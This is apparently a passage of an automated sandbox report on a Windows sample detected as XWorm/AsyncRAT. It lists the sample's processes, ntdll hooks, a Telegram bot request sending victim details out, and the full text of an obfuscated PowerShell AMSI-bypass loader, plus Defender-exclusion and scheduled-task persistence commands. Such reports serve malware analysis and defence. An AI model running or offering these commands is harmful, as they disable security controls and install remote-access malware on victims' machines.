Oct 13, 2024 19:15:04.163295984 CEST	175	IN	HTTP/1.1 200 OK Date: Sun, 13 Oct 2024 17:15:03 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 6 Access-Control-Allow-Origin: * X-Ttl: 60 X-Rl: 44 Data Raw: 66 61 6c 73 65 0a Data Ascii: false

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49739	149.154.167.220	443	5804	C:\Users\Public\DeadROOTkit.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-13 17:15:49 UTC	285	OUT	GET /botYour_Token/sendMessage?chat_id=Your_ID&text=%E2%98%A0%20%5BXWorm%20V3.0%5D%0D%0A%0D%0ANew%20Clinet%20:%20%0D%0A161EDF6F280165B1D298%0D%0A%0D%0AUserName%20:%20user%0D%0AOSFullName%20:%20Microsoft%20Windows%2010%20Pro HTTP/1.1 Host: api.telegram.org Connection: Keep-Alive
2024-10-13 17:15:49 UTC	344	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Sun, 13 Oct 2024 17:15:49 GMT Content-Type: application/json Content-Length: 55 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-10-13 17:15:49 UTC	55	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 34 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 4e 6f 74 20 46 6f 75 6e 64 22 7d Data Ascii: {"ok":false,"error_code":404,"description":"Not Found"}

Code Manipulations

User Modules

Hook Summary

Function Name	Hook Type	Active in Processes
ZwEnumerateKey	INLINE	explorer.exe, winlogon.exe
NtQuerySystemInformation	INLINE	explorer.exe, winlogon.exe
ZwResumeThread	INLINE	explorer.exe, winlogon.exe
NtDeviceIoControlFile	INLINE	explorer.exe, winlogon.exe
ZwDeviceIoControlFile	INLINE	explorer.exe, winlogon.exe
NtEnumerateKey	INLINE	explorer.exe, winlogon.exe
NtQueryDirectoryFile	INLINE	explorer.exe, winlogon.exe
ZwEnumerateValueKey	INLINE	explorer.exe, winlogon.exe
ZwQuerySystemInformation	INLINE	explorer.exe, winlogon.exe
NtResumeThread	INLINE	explorer.exe, winlogon.exe
RtlGetNativeSystemInformation	INLINE	explorer.exe, winlogon.exe
NtQueryDirectoryFileEx	INLINE	explorer.exe, winlogon.exe
NtEnumerateValueKey	INLINE	explorer.exe, winlogon.exe
ZwQueryDirectoryFileEx	INLINE	explorer.exe, winlogon.exe
ZwQueryDirectoryFile	INLINE	explorer.exe, winlogon.exe

Processes

Process: explorer.exe, Module: ntdll.dll

Function Name	Hook Type	New Data
ZwEnumerateKey	INLINE	0xE9 0x9C 0xC3 0x32 0x2C 0xCF
NtQuerySystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
ZwResumeThread	INLINE	0xE9 0x9A 0xA3 0x32 0x27 0x7F
NtDeviceIoControlFile	INLINE	0xE9 0x90 0x03 0x33 0x34 0x4F
ZwDeviceIoControlFile	INLINE	0xE9 0x90 0x03 0x33 0x34 0x4F
NtEnumerateKey	INLINE	0xE9 0x9C 0xC3 0x32 0x2C 0xCF
NtQueryDirectoryFile	INLINE	0xE9 0x9A 0xA3 0x32 0x2B 0xBF
ZwEnumerateValueKey	INLINE	0xE9 0x90 0x03 0x33 0x31 0x1F
ZwQuerySystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
NtResumeThread	INLINE	0xE9 0x9A 0xA3 0x32 0x27 0x7F
RtlGetNativeSystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
NtQueryDirectoryFileEx	INLINE	0xE9 0x97 0x73 0x30 0x0A 0xAF
NtEnumerateValueKey	INLINE	0xE9 0x90 0x03 0x33 0x31 0x1F
ZwQueryDirectoryFileEx	INLINE	0xE9 0x97 0x73 0x30 0x0A 0xAF
ZwQueryDirectoryFile	INLINE	0xE9 0x9A 0xA3 0x32 0x2B 0xBF

Process: winlogon.exe, Module: ntdll.dll

Function Name	Hook Type	New Data
ZwEnumerateKey	INLINE	0xE9 0x9C 0xC3 0x32 0x2C 0xCF
NtQuerySystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
ZwResumeThread	INLINE	0xE9 0x9A 0xA3 0x32 0x27 0x7F
NtDeviceIoControlFile	INLINE	0xE9 0x90 0x03 0x33 0x34 0x4F
ZwDeviceIoControlFile	INLINE	0xE9 0x90 0x03 0x33 0x34 0x4F
NtEnumerateKey	INLINE	0xE9 0x9C 0xC3 0x32 0x2C 0xCF
NtQueryDirectoryFile	INLINE	0xE9 0x9A 0xA3 0x32 0x2B 0xBF
ZwEnumerateValueKey	INLINE	0xE9 0x90 0x03 0x33 0x31 0x1F
ZwQuerySystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
NtResumeThread	INLINE	0xE9 0x9A 0xA3 0x32 0x27 0x7F
RtlGetNativeSystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
NtQueryDirectoryFileEx	INLINE	0xE9 0x97 0x73 0x30 0x0A 0xAF
NtEnumerateValueKey	INLINE	0xE9 0x90 0x03 0x33 0x31 0x1F
ZwQueryDirectoryFileEx	INLINE	0xE9 0x97 0x73 0x30 0x0A 0xAF
ZwQueryDirectoryFile	INLINE	0xE9 0x9A 0xA3 0x32 0x2B 0xBF

Target ID:	0
Start time:	13:14:55
Start date:	13/10/2024
Path:	C:\Users\user\Desktop\mIURiU8n2P.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\mIURiU8n2P.exe"
Imagebase:	0x370000
File size:	512'512 bytes
MD5 hash:	E1C82191B678CEA8F3C996887DDC1232
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000000.00000002.1703934967.0000000002781000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000000.00000002.1703934967.0000000002781000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000000.00000002.1703934967.00000000027B1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000000.00000002.1703934967.00000000027B1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000000.00000002.1703934967.00000000027B1000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	13:14:58
Start date:	13/10/2024
Path:	C:\Users\Public\DeadXClient.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\Public\DeadXClient.exe"
Imagebase:	0x680000
File size:	35'840 bytes
MD5 hash:	F1976EA02BFFAEF5AC943C2ABBB7426C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000001.00000000.1700076185.0000000000682000.00000002.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000001.00000000.1700076185.0000000000682000.00000002.00000001.01000000.00000007.sdmp, Author: ditekSHen Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: C:\Users\Public\DeadXClient.exe, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\Users\Public\DeadXClient.exe, Author: ditekSHen
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 96%, ReversingLabs Detection: 71%, Virustotal, Browse
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	13:14:59
Start date:	13/10/2024
Path:	C:\Users\Public\DeadROOTkit.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\Public\DeadROOTkit.exe"
Imagebase:	0x1a0000
File size:	43'520 bytes
MD5 hash:	7DD98FC2976EE270A278E1A9A28EEFAE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000002.00000000.1701692705.00000000001A2000.00000002.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000002.00000000.1701692705.00000000001A2000.00000002.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000002.00000000.1701692705.00000000001A2000.00000002.00000001.01000000.00000008.sdmp, Author: ditekSHen Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000002.00000002.2956134718.0000000002311000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: C:\Users\Public\DeadROOTkit.exe, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Users\Public\DeadROOTkit.exe, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: C:\Users\Public\DeadROOTkit.exe, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\Users\Public\DeadROOTkit.exe, Author: ditekSHen
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 88%, ReversingLabs Detection: 64%, Virustotal, Browse
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	13:14:59
Start date:	13/10/2024
Path:	C:\Users\Public\DeadCodeRootKit.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\Public\DeadCodeRootKit.exe"
Imagebase:	0xb00000
File size:	155'136 bytes
MD5 hash:	B8479A23C22CF6FC456E197939284069
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 92%, ReversingLabs Detection: 82%, Virustotal, Browse
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	13:14:59
Start date:	13/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:bubCglTffNzZ{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$QBDRAqnALMmwja,[Parameter(Position=1)][Type]$duQqlSyxSK)$pNdjVVbnfJT=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+'e'+''+[Char](102)+''+[Char](108)+''+[Char](101)+''+'c'+''+[Char](116)+''+[Char](101)+''+[Char](100)+''+[Char](68)+'e'+[Char](108)+''+[Char](101)+''+'g'+''+[Char](97)+''+[Char](116)+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('I'+'n'+''+[Char](77)+''+'e'+''+[Char](109)+''+'o'+''+'r'+'y'+[Char](77)+'o'+[Char](100)+''+[Char](117)+'l'+[Char](101)+'',$False).DefineType(''+'M'+''+[Char](121)+'De'+'l'+'e'+[Char](103)+''+[Char](97)+''+[Char](116)+''+'e'+''+'T'+''+'y'+''+'p'+''+'e'+'',''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+'s'+''+[Char](44)+''+[Char](80)+'u'+'b'+'l'+[Char](105)+''+[Char](99)+','+'S'+''+'e'+''+[Char](97)+''+[Char](108)+''+[Char](101)+'d,A'+[Char](110)+''+[Char](115)+'i'+[Char](67)+''+'l'+''+[Char](97)+''+[Char](115)+''+'s'+''+[Char](44)+'Au'+[Char](116)+''+'o'+''+[Char](67)+''+[Char](108)+''+'a'+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$pNdjVVbnfJT.DefineConstructor(''+[Char](82)+''+[Char](84)+'S'+[Char](112)+''+'e'+''+[Char](99)+''+[Char](105)+''+[Char](97)+''+[Char](108)+''+'N'+''+[Char](97)+'m'+[Char](101)+''+','+''+'H'+''+[Char](105)+''+'d'+''+'e'+''+[Char](66)+'y'+[Char](83)+'i'+'g'+''+[Char](44)+''+'P'+''+[Char](117)+''+[Char](98)+''+'l'+''+'i'+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$QBDRAqnALMmwja).SetImplementationFlags('R'+[Char](117)+''+'n'+'t'+[Char](105)+''+'m'+''+[Char](101)+''+[Char](44)+''+'M'+''+[Char](97)+''+[Char](110)+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');$pNdjVVbnfJT.DefineMethod(''+[Char](73)+''+[Char](110)+''+[Char](118)+''+[Char](111)+''+[Char](107)+''+'e'+'',''+'P'+''+[Char](117)+'bl'+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](72)+''+'i'+''+[Char](100)+'e'+'B'+''+[Char](121)+''+'S'+''+'i'+''+'g'+''+[Char](44)+''+[Char](78)+''+[Char](101)+''+[Char](119)+''+[Char](83)+''+[Char](108)+''+[Char](111)+''+'t'+','+[Char](86)+''+[Char](105)+'r'+[Char](116)+'u'+'a'+''+'l'+'',$duQqlSyxSK,$QBDRAqnALMmwja).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+[Char](116)+''+[Char](105)+''+[Char](109)+'e'+[Char](44)+''+'M'+'a'+[Char](110)+''+[Char](97)+''+'g'+''+[Char](101)+''+[Char](100)+'');Write-Output $pNdjVVbnfJT.CreateType();}$RJkdRlkUxkpOh=([AppDomain]::CurrentDomain.GetAssemblies()\|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('Sy'+'s'+''+[Char](116)+''+[Char](101)+''+[Char](109)+''+[Char](46)+''+[Char](100)+'l'+[Char](108)+'')}).GetType(''+'M'+''+[Char](105)+''+[Char](99)+'r'+[Char](111)+''+'s'+''+[Char](111)+''+'f'+'t.W'+[Char](105)+'n'+[Char](51)+'2.'+[Char](85)+''+[Char](110)+'s'+[Char](97)+'f'+[Char](101)+'N'+'a'+''+[Char](116)+'iv'+[Char](101)+''+'M'+''+[Char](101)+''+[Char](116)+''+'h'+''+[Char](111)+''+[Char](100)+''+[Char](115)+'');$zjaDRBJuPBhArz=$RJkdRlkUxkpOh.GetMethod('G'+'e'+''+'t'+'P'+[Char](114)+''+'o'+''+'c'+''+[Char](65)+''+'d'+''+[Char](100)+''+[Char](114)+''+[Char](101)+''+'s'+''+[Char](115)+'',[Reflection.BindingFlags](''+'P'+'u'+[Char](98)+''+[Char](108)+'ic'+[Char](44)+''+[Char](83)+''+'t'+''+[Char](97)+'t'+[Char](105)+''+'c'+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$SsrFUvzfWALaJuFfDwp=bubCglTffNzZ @([String])([IntPtr]);$tNZWRoZhdGxbOGCpZBOKKk=bubCglTffNzZ @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$kXUOjVwsnVT=$RJkdRlkUxkpOh.GetMethod(''+[Char](71)+''+[Char](101)+''+'t'+''+[Char](77)+'o'+'d'+''+'u'+'l'+[Char](101)+''+'H'+'a'+'n'+''+[Char](100)+''+'l'+'e').Invoke($Null,@([Object](''+'k'+''+[Char](101)+'rn'+'e'+''+[Char](108)+'3'+[Char](50)+'.'+[Char](100)+''+[Char](108)+''+[Char](108)+'')));$LadMSRasXMAaNc=$zjaDRBJuPBhArz.Invoke($Null,@([Object]$kXUOjVwsnVT,[Object](''+[Char](76)+'oa'+'d'+'L'+[Char](105)+''+[Char](98)+''+'r'+''+[Char](97)+''+[Char](114)+''+[Char](121)+''+[Char](65)+'')));$SNikSVGRGIadTTQBM=$zjaDRBJuPBhArz.Invoke($Null,@([Object]$kXUOjVwsnVT,[Object]('V'+[Char](105)+'r'+[Char](116)+''+[Char](117)+''+'a'+''+[Char](108)+''+[Char](80)+''+[Char](114)+''+[Char](111)+''+[Char](116)+'e'+'c'+''+[Char](116)+'')));$HSvqCok=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LadMSRasXMAaNc,$SsrFUvzfWALaJuFfDwp).Invoke(''+'a'+''+[Char](109)+''+'s'+'i.'+[Char](100)+'ll');$BNdTdCEoXMsXuDwEG=$zjaDRBJuPBhArz.Invoke($Null,@([Object]$HSvqCok,[Object](''+[Char](65)+''+[Char](109)+''+[Char](115)+''+[Char](105)+''+'S'+''+'c'+''+[Char](97)+''+[Char](110)+''+[Char](66)+''+'u'+''+[Char](102)+'f'+[Char](101)+'r')));$DTvdUDKKbk=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($SNikSVGRGIadTTQBM,$tNZWRoZhdGxbOGCpZBOKKk).Invoke($BNdTdCEoXMsXuDwEG,[uint32]8,4,[ref]$DTvdUDKKbk);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$BNdTdCEoXMsXuDwEG,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($SNikSVGRGIadTTQBM,$tNZWRoZhdGxbOGCpZBOKKk).Invoke($BNdTdCEoXMsXuDwEG,[uint32]8,0x20,[ref]$DTvdUDKKbk);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+'O'+[Char](70)+'T'+[Char](87)+'A'+[Char](82)+'E').GetValue(''+[Char](68)+'e'+'a'+''+'d'+''+[Char](115)+''+'t'+'a'+[Char](103)+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	13:14:59
Start date:	13/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	13:15:02
Start date:	13/10/2024
Path:	C:\Windows\System32\dllhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\dllhost.exe /Processid:{7d42e50e-8059-4906-9d19-fa399c842f66}
Imagebase:	0x7ff70f330000
File size:	21'312 bytes
MD5 hash:	08EB78E5BE019DF044C26B14703BD1FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	13:15:03
Start date:	13/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Public\DeadROOTkit.exe'
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	13:15:03
Start date:	13/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	13:15:03
Start date:	13/10/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Deadsvchost" /tr "C:\Users\Public\Deadsvchost.exe"
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	13:15:03
Start date:	13/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	13:15:04
Start date:	13/10/2024
Path:	C:\Windows\System32\winlogon.exe
Wow64 process (32bit):	false
Commandline:	winlogon.exe
Imagebase:	0x7ff7cd660000
File size:	906'240 bytes
MD5 hash:	F8B41A1B3E569E7E6F990567F21DCE97
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	13:15:04
Start date:	13/10/2024
Path:	C:\Windows\System32\lsass.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\lsass.exe
Imagebase:	0x7ff7a2ae0000
File size:	59'456 bytes
MD5 hash:	A1CC00332BBF370654EE3DC8CDC8C95A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	13:15:06
Start date:	13/10/2024
Path:	C:\Users\Public\Deadsvchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\Public\Deadsvchost.exe
Imagebase:	0x990000
File size:	35'840 bytes
MD5 hash:	F1976EA02BFFAEF5AC943C2ABBB7426C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: C:\Users\Public\Deadsvchost.exe, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\Users\Public\Deadsvchost.exe, Author: ditekSHen
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 96%, ReversingLabs Detection: 71%, Virustotal, Browse
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	13:15:06
Start date:	13/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	13:15:07
Start date:	13/10/2024
Path:	C:\Windows\System32\dwm.exe
Wow64 process (32bit):	false
Commandline:	"dwm.exe"
Imagebase:	0x7ff74e710000
File size:	94'720 bytes
MD5 hash:	5C27608411832C5B39BA04E33D53536C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	17
Start time:	13:15:10
Start date:	13/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	19
Start time:	13:15:11
Start date:	13/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	20
Start time:	13:15:11
Start date:	13/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	21
Start time:	13:15:12
Start date:	13/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	22
Start time:	13:15:12
Start date:	13/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	23
Start time:	13:15:12
Start date:	13/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	24
Start time:	13:15:13
Start date:	13/10/2024
Path:	C:\Users\Public\Deadsvchost.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\Public\Deadsvchost.exe"
Imagebase:	0x2f0000
File size:	35'840 bytes
MD5 hash:	F1976EA02BFFAEF5AC943C2ABBB7426C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	13:15:14
Start date:	13/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	26
Start time:	13:15:15
Start date:	13/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	27
Start time:	13:15:16
Start date:	13/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	28
Start time:	13:15:17
Start date:	13/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	29
Start time:	13:15:17
Start date:	13/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'DeadROOTkit.exe'
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	13:15:17
Start date:	13/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

